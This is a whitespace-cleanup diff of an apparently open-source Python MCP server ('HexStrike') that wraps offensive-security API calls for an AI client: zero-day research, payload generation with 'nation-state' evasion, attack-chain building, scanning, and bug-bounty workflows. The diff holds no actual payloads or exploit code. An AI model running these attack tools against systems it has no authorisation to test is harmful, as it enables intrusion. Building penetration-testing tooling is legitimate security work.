             chains = result.get("attack_chain_discovery", {}).get("attack_chains", [])
             enhanced_chains = result.get("attack_chain_discovery", {}).get("enhanced_chains", [])
-            
+
             logger.info(f"📊 Found {len(chains)} attack chains")
             if enhanced_chains:
                 logger.info(f"🎯 Enhanced {len(enhanced_chains)} chains with exploit analysis")
-        
+
         return result
 
     @mcp.tool()
     def research_zero_day_opportunities(target_software: str, analysis_depth: str = "standard", source_code_url: str = "") -> Dict[str, Any]:
         """
         Automated zero-day vulnerability research using AI analysis and pattern recognition.
-        
+
         Args:
             target_software: Software to research for vulnerabilities (e.g., "nginx", "OpenSSL")
             analysis_depth: Depth of analysis (quick, standard, comprehensive)
             source_code_url: URL to source code repository for enhanced analysis
-            
+
         Returns:
             Potential vulnerability areas with exploitation feasibility and research recommendations
-            
+
         Example:
             research_zero_day_opportunities("nginx 1.20", "comprehensive", "https://github.com/nginx/nginx")
         """
         if analysis_depth not in ["quick", "standard", "comprehensive"]:
             analysis_depth = "standard"
-        
+
         data = {
             "target_software": target_software,
             "analysis_depth": analysis_depth,
@@ -4132,30 +4139,30 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         }
         logger.info(f"🔬 Researching zero-day opportunities in {target_software} | Depth: {analysis_depth}")
         result = hexstrike_client.safe_post("api/vuln-intel/zero-day-research", data)
-        
+
         if result.get("success"):
             research = result.get("zero_day_research", {})
             potential_vulns = len(research.get("potential_vulnerabilities", []))
             risk_score = research.get("risk_assessment", {}).get("risk_score", 0)
-            
+
             logger.info(f"📊 Found {potential_vulns} potential vulnerability areas")
             logger.info(f"🎯 Risk Score: {risk_score}/100")
-        
+
         return result
 
     @mcp.tool()
     def correlate_threat_intelligence(indicators: str, timeframe: str = "30d", sources: str = "all") -> Dict[str, Any]:
         """
         Correlate threat intelligence across multiple sources with advanced analysis.
-        
+
         Args:
             indicators: Comma-separated IOCs (IPs, domains, hashes, CVEs, etc.)
             timeframe: Time window for correlation (7d, 30d, 90d, 1y)
             sources: Intelligence sources to query (cve, exploit-db, github, twitter, all)
-            
+
         Returns:
             Correlated threat intelligence with attribution, timeline, and threat scoring
-            
+
         Example:
             correlate_threat_intelligence("CVE-2024-1234,192.168.1.100,malware.exe", "90d", "all")
         """
@@ -4163,14 +4170,14 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         valid_timeframes = ["7d", "30d", "90d", "1y"]
         if timeframe not in valid_timeframes:
             timeframe = "30d"
-        
+
         # Parse indicators
         indicator_list = [i.strip() for i in indicators.split(",") if i.strip()]
-        
+
         if not indicator_list:
             logger.error("❌ No valid indicators provided")
             return {"success": False, "error": "No valid indicators provided"}
-        
+
         data = {
             "indicators": indicator_list,
             "timeframe": timeframe,
@@ -4178,43 +4185,43 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         }
         logger.info(f"🧠 Correlating threat intelligence for {len(indicator_list)} indicators | Timeframe: {timeframe}")
         result = hexstrike_client.safe_post("api/vuln-intel/threat-feeds", data)
-        
+
         if result.get("success"):
             threat_intel = result.get("threat_intelligence", {})
             correlations = len(threat_intel.get("correlations", []))
             threat_score = threat_intel.get("threat_score", 0)
-            
+
             logger.info(f"📊 Found {correlations} threat correlations")
             logger.info(f"🎯 Overall Threat Score: {threat_score:.1f}/100")
-        
+
         return result
 
     @mcp.tool()
     def advanced_payload_generation(attack_type: str, target_context: str = "", evasion_level: str = "standard", custom_constraints: str = "") -> Dict[str, Any]:
         """
         Generate advanced payloads with AI-powered evasion techniques and contextual adaptation.
-        
+
         Args:
             attack_type: Type of attack (rce, privilege_escalation, persistence, exfiltration, xss, sqli)
             target_context: Target environment details (OS, software versions, security controls)
             evasion_level: Evasion sophistication (basic, standard, advanced, nation-state)
             custom_constraints: Custom payload constraints (size limits, character restrictions, etc.)
-            
+
         Returns:
             Advanced payloads with multiple evasion techniques and deployment instructions
-            
+
         Example:
             advanced_payload_generation("rce", "Windows 11 + Defender + AppLocker", "nation-state", "max_size:256,no_quotes")
         """
         valid_attack_types = ["rce", "privilege_escalation", "persistence", "exfiltration", "xss", "sqli", "lfi", "ssrf"]
         valid_evasion_levels = ["basic", "standard", "advanced", "nation-state"]
-        
+
         if attack_type not in valid_attack_types:
             attack_type = "rce"
-        
+
         if evasion_level not in valid_evasion_levels:
             evasion_level = "standard"
-        
+
         data = {
             "attack_type": attack_type,
             "target_context": target_context,
@@ -4224,45 +4231,45 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
         logger.info(f"🎯 Generating advanced {attack_type} payload | Evasion: {evasion_level}")
         if target_context:
             logger.info(f"🎯 Target Context: {target_context}")
-        
+
         result = hexstrike_client.safe_post("api/ai/advanced-payload-generation", data)
-        
+
         if result.get("success"):
             payload_gen = result.get("advanced_payload_generation", {})
             payload_count = payload_gen.get("payload_count", 0)
             evasion_applied = payload_gen.get("evasion_level", "none")
-            
+
             logger.info(f"📊 Generated {payload_count} advanced payloads")
             logger.info(f"🛡️ Evasion Level Applied: {evasion_applied}")
-        
+
         return result
 
     @mcp.tool()
     def vulnerability_intelligence_dashboard() -> Dict[str, Any]:
         """
         Get a comprehensive vulnerability intelligence dashboard with latest threats and trends.
-        
+
         Returns:
             Dashboard with latest CVEs, trending vulnerabilities, exploit availability, and threat landscape
-            
+
         Example:
             vulnerability_intelligence_dashboard()
         """
         logger.info("📊 Generating vulnerability intelligence dashboard")
-        
+
         # Get latest critical CVEs
         latest_cves = hexstrike_client.safe_post("api/vuln-intel/cve-monitor", {
             "hours": 24,
             "severity_filter": "CRITICAL",
             "keywords": ""
         })
-        
+
         # Get trending attack types
         trending_research = hexstrike_client.safe_post("api/vuln-intel/zero-day-research", {
             "target_software": "web applications",
             "analysis_depth": "quick"
         })
-        
+
         # Compile dashboard
         dashboard = {
             "timestamp": time.time(),
@@ -4284,7 +4291,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
                 "Review security controls against nation-state level attacks"
             ]
         }
-        
+
         logger.info("✅ Vulnerability intelligence dashboard generated")
         return {
             "success": True,
@@ -4295,27 +4302,27 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def threat_hunting_assistant(target_environment: str, threat_indicators: str = "", hunt_focus: str = "general") -> Dict[str, Any]:
         """
         AI-powered threat hunting assistant with vulnerability correlation and attack simulation.
-        
+
         Args:
             target_environment: Environment to hunt in (e.g., "Windows Domain", "Cloud Infrastructure")
             threat_indicators: Known IOCs or suspicious indicators to investigate
             hunt_focus: Focus area (general, apt, ransomware, insider_threat, supply_chain)
-            
+
         Returns:
             Threat hunting playbook with detection queries, IOCs, and investigation steps
-            
+
         Example:
             threat_hunting_assistant("Windows Domain", "suspicious_process.exe,192.168.1.100", "apt")
         """
         valid_hunt_focus = ["general", "apt", "ransomware", "insider_threat", "supply_chain"]
         if hunt_focus not in valid_hunt_focus:
             hunt_focus = "general"
-        
+
         logger.info(f"🔍 Generating threat hunting playbook for {target_environment} | Focus: {hunt_focus}")
-        
+
         # Parse indicators if provided
         indicators = [i.strip() for i in threat_indicators.split(",") if i.strip()] if threat_indicators else []
-        
+
         # Generate hunting playbook
         hunting_playbook = {
             "target_environment": target_environment,
@@ -4326,7 +4333,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             "threat_scenarios": [],
             "mitigation_strategies": []
         }
-        
+
         # Environment-specific detection queries
         if "windows" in target_environment.lower():
             hunting_playbook["detection_queries"] = [
@@ -4342,7 +4349,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
                 "Privilege escalation events",
                 "Data exfiltration indicators"
             ]
-        
+
         # Focus-specific threat scenarios
         focus_scenarios = {
             "apt": [
@@ -4364,14 +4371,14 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
                 "Access to sensitive systems"
             ]
         }
-        
+
         hunting_playbook["threat_scenarios"] = focus_scenarios.get(hunt_focus, [
             "Unauthorized access attempts",
             "Suspicious process execution",
             "Network anomalies",
             "Data access violations"
         ])
-        
+
         # Investigation steps
         hunting_playbook["investigation_steps"] = [
             "1. Validate initial indicators and expand IOC list",
@@ -4382,15 +4389,15 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             "6. Implement containment measures if threat confirmed",
             "7. Document findings and update detection rules"
         ]
-        
+
         # Correlate with vulnerability intelligence if indicators provided
         if indicators:
             logger.info(f"🧠 Correlating {len(indicators)} indicators with threat intelligence")
             correlation_result = correlate_threat_intelligence(",".join(indicators), "30d", "all")
-            
+
             if correlation_result.get("success"):
                 hunting_playbook["threat_correlation"] = correlation_result.get("threat_intelligence", {})
-        
+
         logger.info("✅ Threat hunting playbook generated")
         return {
             "success": True,
@@ -4400,12 +4407,12 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     # ============================================================================
     # ENHANCED VISUAL OUTPUT TOOLS
     # ============================================================================
-    
+
     @mcp.tool()
     def get_live_dashboard() -> Dict[str, Any]:
         """
         Get a beautiful live dashboard showing all active processes with enhanced visual formatting.
-        
+
         Returns:
             Live dashboard with visual process monitoring and system metrics
         """
@@ -4421,33 +4428,33 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def create_vulnerability_report(vulnerabilities: str, target: str = "", scan_type: str = "comprehensive") -> Dict[str, Any]:
         """
         Create a beautiful vulnerability report with severity-based styling and visual indicators.
-        
+
         Args:
             vulnerabilities: JSON string containing vulnerability data
             target: Target that was scanned
             scan_type: Type of scan performed
-            
+
         Returns:
             Formatted vulnerability report with visual enhancements
         """
         import json
-        
+
         try:
             # Parse vulnerabilities if provided as JSON string
             if isinstance(vulnerabilities, str):
                 vuln_data = json.loads(vulnerabilities)
             else:
                 vuln_data = vulnerabilities
-            
+
             logger.info(f"📋 Creating vulnerability report for {len(vuln_data)} findings")
-            
+
             # Create individual vulnerability cards
             vulnerability_cards = []
             for vuln in vuln_data:
                 card_result = hexstrike_client.safe_post("api/visual/vulnerability-card", vuln)
                 if card_result.get("success"):
                     vulnerability_cards.append(card_result.get("vulnerability_card", ""))
-            
+
             # Create summary report
             summary_data = {
                 "target": target,
@@ -4455,9 +4462,9 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
                 "tools_used": [scan_type],
                 "execution_time": 0
             }
-            
+
             summary_result = hexstrike_client.safe_post("api/visual/summary-report", summary_data)
-            
+
             logger.info("✅ Vulnerability report created successfully")
             return {
                 "success": True,
@@ -4466,7 +4473,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
                 "total_vulnerabilities": len(vuln_data),
                 "timestamp": summary_result.get("timestamp", "")
             }
-            
+
         except Exception as e:
             logger.error(f"❌ Failed to create vulnerability report: {str(e)}")
             return {"success": False, "error": str(e)}
@@ -4475,51 +4482,51 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def format_tool_output_visual(tool_name: str, output: str, success: bool = True) -> Dict[str, Any]:
         """
         Format tool output with beautiful visual styling, syntax highlighting, and structure.
-        
+
         Args:
             tool_name: Name of the security tool
             output: Raw output from the tool
             success: Whether the tool execution was successful
-            
+
         Returns:
             Beautifully formatted tool output with visual enhancements
         """
         logger.info(f"🎨 Formatting output for {tool_name}")
-        
+
         data = {
             "tool": tool_name,
             "output": output,
             "success": success
         }
-        
+
         result = hexstrike_client.safe_post("api/visual/tool-output", data)
         if result.get("success"):
             logger.info(f"✅ Tool output formatted successfully for {tool_name}")
         else:
             logger.error(f"❌ Failed to format tool output for {tool_name}")
-        
+
         return result
 
     @mcp.tool()
-    def create_scan_summary(target: str, tools_used: str, vulnerabilities_found: int = 0, 
+    def create_scan_summary(target: str, tools_used: str, vulnerabilities_found: int = 0,
                            execution_time: float = 0.0, findings: str = "") -> Dict[str, Any]:
         """
         Create a comprehensive scan summary report with beautiful visual formatting.
-        
+
         Args:
             target: Target that was scanned
             tools_used: Comma-separated list of tools used
             vulnerabilities_found: Number of vulnerabilities discovered
             execution_time: Total execution time in seconds
             findings: Additional findings or notes
-            
+
         Returns:
             Beautiful scan summary report with visual enhancements
         """
         logger.info(f"📊 Creating scan summary for {target}")
-        
+
         tools_list = [tool.strip() for tool in tools_used.split(",")]
-        
+
         summary_data = {
             "target": target,
             "tools_used": tools_list,
@@ -4527,31 +4534,31 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             "vulnerabilities": [{"severity": "info"}] * vulnerabilities_found,  # Mock data for count
             "findings": findings
         }
-        
+
         result = hexstrike_client.safe_post("api/visual/summary-report", summary_data)
         if result.get("success"):
             logger.info("✅ Scan summary created successfully")
         else:
             logger.error("❌ Failed to create scan summary")
-        
+
         return result
 
     @mcp.tool()
     def display_system_metrics() -> Dict[str, Any]:
         """
         Display current system metrics and performance indicators with visual formatting.
-        
+
         Returns:
             System metrics with beautiful visual presentation
         """
         logger.info("📈 Fetching system metrics")
-        
+
         # Get telemetry data
         telemetry_result = hexstrike_client.safe_get("api/telemetry")
-        
+
         if telemetry_result.get("success", True):
             logger.info("✅ System metrics retrieved successfully")
-            
+
             # Format the metrics for better display
             metrics = telemetry_result.get("system_metrics", {})
             stats = {
@@ -4562,7 +4569,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
                 "commands_executed": telemetry_result.get("commands_executed", 0),
                 "success_rate": telemetry_result.get("success_rate", "0%")
             }
-            
+
             return {
                 "success": True,
                 "metrics": stats,
@@ -4584,155 +4591,155 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     # ============================================================================
     # INTELLIGENT DECISION ENGINE TOOLS
     # ============================================================================
-    
+
     @mcp.tool()
     def analyze_target_intelligence(target: str) -> Dict[str, Any]:
         """
         Analyze target using AI-powered intelligence to create comprehensive profile.
-        
+
         Args:
             target: Target URL, IP address, or domain to analyze
-            
+
         Returns:
             Comprehensive target profile with technology detection, risk assessment, and recommendations
         """
         logger.info(f"🧠 Analyzing target intelligence for: {target}")
-        
+
         data = {"target": target}
         result = hexstrike_client.safe_post("api/intelligence/analyze-target", data)
-        
+
         if result.get("success"):
             profile = result.get("target_profile", {})
             logger.info(f"✅ Target analysis completed - Type: {profile.get('target_type')}, Risk: {profile.get('risk_level')}")
         else:
             logger.error(f"❌ Target analysis failed for {target}")
-        
+
         return result
 
     @mcp.tool()
     def select_optimal_tools_ai(target: str, objective: str = "comprehensive") -> Dict[str, Any]:
         """
         Use AI to select optimal security tools based on target analysis and testing objective.
-        
+
         Args:
             target: Target to analyze
             objective: Testing objective - "comprehensive", "quick", or "stealth"
-            
+
         Returns:
             AI-selected optimal tools with effectiveness ratings and target profile
         """
         logger.info(f"🎯 Selecting optimal tools for {target} with objective: {objective}")
-        
+
         data = {
             "target": target,
             "objective": objective
         }
         result = hexstrike_client.safe_post("api/intelligence/select-tools", data)
-        
+
         if result.get("success"):
             tools = result.get("selected_tools", [])
             logger.info(f"✅ AI selected {len(tools)} optimal tools: {', '.join(tools[:3])}{'...' if len(tools) > 3 else ''}")
         else:
             logger.error(f"❌ Tool selection failed for {target}")
-        
+
         return result
 
     @mcp.tool()
     def optimize_tool_parameters_ai(target: str, tool: str, context: str = "{}") -> Dict[str, Any]:
         """
         Use AI to optimize tool parameters based on target profile and context.
-        
+
         Args:
             target: Target to test
             tool: Security tool to optimize
             context: JSON string with additional context (stealth, aggressive, etc.)
-            
+
         Returns:
             AI-optimized parameters for maximum effectiveness
         """
         import json
-        
+
         logger.info(f"⚙️  Optimizing parameters for {tool} against {target}")
-        
+
         try:
             context_dict = json.loads(context) if context != "{}" else {}
         except:
             context_dict = {}
-        
+
         data = {
             "target": target,
             "tool": tool,
             "context": context_dict
         }
         result = hexstrike_client.safe_post("api/intelligence/optimize-parameters", data)
-        
+
         if result.get("success"):
             params = result.get("optimized_parameters", {})
             logger.info(f"✅ Parameters optimized for {tool} - {len(params)} parameters configured")
         else:
             logger.error(f"❌ Parameter optimization failed for {tool}")
-        
+
         return result
 
     @mcp.tool()
     def create_attack_chain_ai(target: str, objective: str = "comprehensive") -> Dict[str, Any]:
         """
         Create an intelligent attack chain using AI-driven tool sequencing and optimization.
-        
+
         Args:
             target: Target for the attack chain
             objective: Attack objective - "comprehensive", "quick", or "stealth"
-            
+
         Returns:
             AI-generated attack chain with success probability and time estimates
         """
         logger.info(f"⚔️  Creating AI-driven attack chain for {target}")
-        
+
         data = {
             "target": target,
             "objective": objective
         }
         result = hexstrike_client.safe_post("api/intelligence/create-attack-chain", data)
-        
+
         if result.get("success"):
             chain = result.get("attack_chain", {})
             steps = len(chain.get("steps", []))
             success_prob = chain.get("success_probability", 0)
             estimated_time = chain.get("estimated_time", 0)
-            
+
             logger.info(f"✅ Attack chain created - {steps} steps, {success_prob:.2f} success probability, ~{estimated_time}s")
         else:
             logger.error(f"❌ Attack chain creation failed for {target}")
-        
+
         return result
 
     @mcp.tool()
     def intelligent_smart_scan(target: str, objective: str = "comprehensive", max_tools: int = 5) -> Dict[str, Any]:
         """
         Execute an intelligent scan using AI-driven tool selection and parameter optimization.
-        
+
         Args:
             target: Target to scan
             objective: Scanning objective - "comprehensive", "quick", or "stealth"
             max_tools: Maximum number of tools to use
-            
+
         Returns:
             Results from AI-optimized scanning with tool execution summary
         """
         logger.info(f"{HexStrikeColors.FIRE_RED}🚀 Starting intelligent smart scan for {target}{HexStrikeColors.RESET}")
-        
+
         data = {
             "target": target,
             "objective": objective,
             "max_tools": max_tools
         }
         result = hexstrike_client.safe_post("api/intelligence/smart-scan", data)
-        
+
         if result.get("success"):
             scan_results = result.get("scan_results", {})
             tools_executed = scan_results.get("tools_executed", [])
             execution_summary = scan_results.get("execution_summary", {})
-            
+
             # Enhanced logging with detailed results
             logger.info(f"{HexStrikeColors.SUCCESS}✅ Intelligent scan completed for {target}{HexStrikeColors.RESET}")
             logger.info(f"{HexStrikeColors.CYBER_ORANGE}📊 Execution Summary:{HexStrikeColors.RESET}")
@@ -4740,96 +4747,96 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             logger.info(f"   • Success rate: {execution_summary.get('success_rate', 0):.1f}%")
             logger.info(f"   • Total vulnerabilities: {scan_results.get('total_vulnerabilities', 0)}")
             logger.info(f"   • Execution time: {execution_summary.get('total_execution_time', 0):.2f}s")
-            
+
             # Log successful tools
             successful_tools = [t['tool'] for t in tools_executed if t.get('success')]
             if successful_tools:
                 logger.info(f"{HexStrikeColors.HIGHLIGHT_GREEN} Successful tools: {', '.join(successful_tools)} {HexStrikeColors.RESET}")
-            
+
             # Log failed tools
             failed_tools = [t['tool'] for t in tools_executed if not t.get('success')]
             if failed_tools:
                 logger.warning(f"{HexStrikeColors.HIGHLIGHT_RED} Failed tools: {', '.join(failed_tools)} {HexStrikeColors.RESET}")
-            
+
             # Log vulnerabilities found
             if scan_results.get('total_vulnerabilities', 0) > 0:
                 logger.warning(f"{HexStrikeColors.VULN_HIGH}🚨 {scan_results['total_vulnerabilities']} vulnerabilities detected!{HexStrikeColors.RESET}")
         else:
             logger.error(f"{HexStrikeColors.ERROR}❌ Intelligent scan failed for {target}: {result.get('error', 'Unknown error')}{HexStrikeColors.RESET}")
-        
+
         return result
 
     @mcp.tool()
     def detect_technologies_ai(target: str) -> Dict[str, Any]:
         """
         Use AI to detect technologies and provide technology-specific testing recommendations.
-        
+
         Args:
             target: Target to analyze for technology detection
-            
+
         Returns:
             Detected technologies with AI-generated testing recommendations
         """
         logger.info(f"🔍 Detecting technologies for {target}")
-        
+
         data = {"target": target}
         result = hexstrike_client.safe_post("api/intelligence/technology-detection", data)
-        
+
         if result.get("success"):
             technologies = result.get("detected_technologies", [])
             cms = result.get("cms_type")
             recommendations = result.get("technology_recommendations", {})
-            
+
             tech_info = f"Technologies: {', '.join(technologies)}"
             if cms:
                 tech_info += f", CMS: {cms}"
-            
+
             logger.info(f"✅ Technology detection completed - {tech_info}")
             logger.info(f"📋 Generated {len(recommendations)} technology-specific recommendations")
         else:
             logger.error(f"❌ Technology detection failed for {target}")
-        
+
         return result
 
     @mcp.tool()
     def ai_reconnaissance_workflow(target: str, depth: str = "standard") -> Dict[str, Any]:
         """
         Execute AI-driven reconnaissance workflow with intelligent tool chaining.
-        
+
         Args:
             target: Target for reconnaissance
             depth: Reconnaissance depth - "surface", "standard", or "deep"
-            
+
         Returns:
             Comprehensive reconnaissance results with AI-driven insights
         """
         logger.info(f"🕵️  Starting AI reconnaissance workflow for {target} (depth: {depth})")
-        
+
         # First analyze the target
         analysis_result = hexstrike_client.safe_post("api/intelligence/analyze-target", {"target": target})
-        
+
         if not analysis_result.get("success"):
             return analysis_result
-        
+
         # Create attack chain for reconnaissance
         objective = "comprehensive" if depth == "deep" else "quick" if depth == "surface" else "comprehensive"
         chain_result = hexstrike_client.safe_post("api/intelligence/create-attack-chain", {
             "target": target,
             "objective": objective
         })
-        
+
         if not chain_result.get("success"):
             return chain_result
-        
+
         # Execute the reconnaissance
         scan_result = hexstrike_client.safe_post("api/intelligence/smart-scan", {
             "target": target,
             "objective": objective,
             "max_tools": 8 if depth == "deep" else 3 if depth == "surface" else 5
         })
-        
+
         logger.info(f"✅ AI reconnaissance workflow completed for {target}")
-        
+
         return {
             "success": True,
             "target": target,
@@ -4844,25 +4851,25 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     def ai_vulnerability_assessment(target: str, focus_areas: str = "all") -> Dict[str, Any]:
         """
         Perform AI-driven vulnerability assessment with intelligent prioritization.
-        
+
         Args:
             target: Target for vulnerability assessment
             focus_areas: Comma-separated focus areas - "web", "network", "api", "all"
-            
+
         Returns:
             Prioritized vulnerability assessment results with AI insights
         """
         logger.info(f"🔬 Starting AI vulnerability assessment for {target}")
-        
+
         # Analyze target first
         analysis_result = hexstrike_client.safe_post("api/intelligence/analyze-target", {"target": target})
-        
+
         if not analysis_result.get("success"):
             return analysis_result
-        
+
         profile = analysis_result.get("target_profile", {})
         target_type = profile.get("target_type", "unknown")
-        
+
         # Select tools based on focus areas and target type
         if focus_areas == "all":
             objective = "comprehensive"
@@ -4872,16 +4879,16 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             objective = "comprehensive"
         else:
             objective = "quick"
-        
+
         # Execute vulnerability assessment
         scan_result = hexstrike_client.safe_post("api/intelligence/smart-scan", {
             "target": target,
             "objective": objective,
             "max_tools": 6
         })
-        
+
         logger.info(f"✅ AI vulnerability assessment completed for {target}")
-        
+
         return {
             "success": True,
             "target": target,
@@ -4901,17 +4908,17 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     # ============================================================================
 
     @mcp.tool()
-    def bugbounty_reconnaissance_workflow(domain: str, scope: str = "", out_of_scope: str = "", 
+    def bugbounty_reconnaissance_workflow(domain: str, scope: str = "", out_of_scope: str = "",
                                         program_type: str = "web") -> Dict[str, Any]:
         """
         Create comprehensive reconnaissance workflow for bug bounty hunting.
-        
+
         Args:
             domain: Target domain for bug bounty
             scope: Comma-separated list of in-scope domains/IPs
             out_of_scope: Comma-separated list of out-of-scope domains/IPs
             program_type: Type of program (web, api, mobile, iot)
-            
+
         Returns:
             Comprehensive reconnaissance workflow with phases and tools
         """
@@ -4921,29 +4928,29 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             "out_of_scope": out_of_scope.split(",") if out_of_scope else [],
             "program_type": program_type
         }
-        
+
         logger.info(f"🎯 Creating reconnaissance workflow for {domain}")
         result = hexstrike_client.safe_post("api/bugbounty/reconnaissance-workflow", data)
-        
+
         if result.get("success"):
             workflow = result.get("workflow", {})
             logger.info(f"✅ Reconnaissance workflow created - {workflow.get('tools_count', 0)} tools, ~{workflow.get('estimated_time', 0)}s")
         else:
             logger.error(f"❌ Failed to create reconnaissance workflow for {domain}")
-        
+
         return result
 
     @mcp.tool()
-    def bugbounty_vulnerability_hunting(domain: str, priority_vulns: str = "rce,sqli,xss,idor,ssrf", 
+    def bugbounty_vulnerability_hunting(domain: str, priority_vulns: str = "rce,sqli,xss,idor,ssrf",
                                        bounty_range: str = "unknown") -> Dict[str, Any]:
         """
         Create vulnerability hunting workflow prioritized by impact and bounty potential.
-        
+
         Args:
             domain: Target domain for bug bounty
             priority_vulns: Comma-separated list of priority vulnerability types
             bounty_range: Expected bounty range (low, medium, high, critical)
-            
+
         Returns:
             Vulnerability hunting workflow prioritized by impact
         """
@@ -4952,27 +4959,27 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             "priority_vulns": priority_vulns.split(",") if priority_vulns else [],
             "bounty_range": bounty_range
         }
-        
+
         logger.info(f"🎯 Creating vulnerability hunting workflow for {domain}")
         result = hexstrike_client.safe_post("api/bugbounty/vulnerability-hunting-workflow", data)
-        
+
         if result.get("success"):
             workflow = result.get("workflow", {})
             logger.info(f"✅ Vulnerability hunting workflow created - Priority score: {workflow.get('priority_score', 0)}")
         else:
             logger.error(f"❌ Failed to create vulnerability hunting workflow for {domain}")
-        
+
         return result
 
     @mcp.tool()
     def bugbounty_business_logic_testing(domain: str, program_type: str = "web") -> Dict[str, Any]:
         """
         Create business logic testing workflow for advanced bug bounty hunting.
-        
+
         Args:
             domain: Target domain for bug bounty
             program_type: Type of program (web, api, mobile)
-            
+
         Returns:
             Business logic testing workflow with manual and automated tests
         """
@@ -4980,84 +4987,84 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             "domain": domain,
             "program_type": program_type
         }
-        
+
         logger.info(f"🎯 Creating business logic testing workflow for {domain}")
         result = hexstrike_client.safe_post("api/bugbounty/business-logic-workflow", data)
-        
+
         if result.get("success"):
             workflow = result.get("workflow", {})
             test_count = sum(len(category["tests"]) for category in workflow.get("business_logic_tests", []))
             logger.info(f"✅ Business logic testing workflow created - {test_count} tests")
         else:
             logger.error(f"❌ Failed to create business logic testing workflow for {domain}")
-        
+
         return result
 
     @mcp.tool()
     def bugbounty_osint_gathering(domain: str) -> Dict[str, Any]:
         """
         Create OSINT (Open Source Intelligence) gathering workflow for bug bounty reconnaissance.
-        
+
         Args:
             domain: Target domain for OSINT gathering
-            
+
         Returns:
             OSINT gathering workflow with multiple intelligence phases
         """
         data = {"domain": domain}
-        
+
         logger.info(f"🎯 Creating OSINT gathering workflow for {domain}")
         result = hexstrike_client.safe_post("api/bugbounty/osint-workflow", data)
-        
+
         if result.get("success"):
             workflow = result.get("workflow", {})
             phases = len(workflow.get("osint_phases", []))
             logger.info(f"✅ OSINT workflow created - {phases} intelligence phases")
         else:
             logger.error(f"❌ Failed to create OSINT workflow for {domain}")
-        
+
         return result
 
     @mcp.tool()
     def bugbounty_file_upload_testing(target_url: str) -> Dict[str, Any]:
         """
         Create file upload vulnerability testing workflow with bypass techniques.
-        
+
         Args:
             target_url: Target URL with file upload functionality
-            
+
         Returns:
             File upload testing workflow with malicious files and bypass techniques
         """
         data = {"target_url": target_url}
-        
+
         logger.info(f"🎯 Creating file upload testing workflow for {target_url}")
         result = hexstrike_client.safe_post("api/bugbounty/file-upload-testing", data)
-        
+
         if result.get("success"):
             workflow = result.get("workflow", {})
             phases = len(workflow.get("test_phases", []))
             logger.info(f"✅ File upload testing workflow created - {phases} test phases")
         else:
             logger.error(f"❌ Failed to create file upload testing workflow for {target_url}")
-        
+
         return result
 
     @mcp.tool()
-    def bugbounty_comprehensive_assessment(domain: str, scope: str = "", 
+    def bugbounty_comprehensive_assessment(domain: str, scope: str = "",
                                          priority_vulns: str = "rce,sqli,xss,idor,ssrf",
-                                         include_osint: bool = True, 
+                                         include_osint: bool = True,
                                          include_business_logic: bool = True) -> Dict[str, Any]:
         """
         Create comprehensive bug bounty assessment combining all specialized workflows.
-        
+
         Args:
             domain: Target domain for bug bounty
             scope: Comma-separated list of in-scope domains/IPs
             priority_vulns: Comma-separated list of priority vulnerability types
             include_osint: Include OSINT gathering workflow
             include_business_logic: Include business logic testing workflow
-            
+
         Returns:
             Comprehensive bug bounty assessment with all workflows and summary
         """
@@ -5068,28 +5075,28 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             "include_osint": include_osint,
             "include_business_logic": include_business_logic
         }
-        
+
         logger.info(f"🎯 Creating comprehensive bug bounty assessment for {domain}")
         result = hexstrike_client.safe_post("api/bugbounty/comprehensive-assessment", data)
-        
+
         if result.get("success"):
             assessment = result.get("assessment", {})
             summary = assessment.get("summary", {})
             logger.info(f"✅ Comprehensive assessment created - {summary.get('workflow_count', 0)} workflows, ~{summary.get('total_estimated_time', 0)}s")
         else:
             logger.error(f"❌ Failed to create comprehensive assessment for {domain}")
-        
+
         return result
 
     @mcp.tool()
     def bugbounty_authentication_bypass_testing(target_url: str, auth_type: str = "form") -> Dict[str, Any]:
         """
         Create authentication bypass testing workflow for bug bounty hunting.
-        
+
         Args:
             target_url: Target URL with authentication
             auth_type: Type of authentication (form, jwt, oauth, saml)
-            
+
         Returns:
             Authentication bypass testing strategies and techniques
         """
@@ -5119,7 +5126,7 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
                 {"technique": "Signature Bypass", "description": "Test signature validation bypass"}
             ]
         }
-        
+
         workflow = {
             "target": target_url,
             "auth_type": auth_type,
@@ -5133,9 +5140,9 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
             "estimated_time": 240,
             "manual_testing_required": True
         }
-        
+
         logger.info(f"🎯 Created authentication bypass testing workflow for {target_url}")
-        
+
         return {
             "success": True,
             "workflow": workflow,
@@ -5145,13 +5152,13 @@ def setup_mcp_server(hexstrike_client: HexStrikeClient) -> FastMCP:
     # ============================================================================
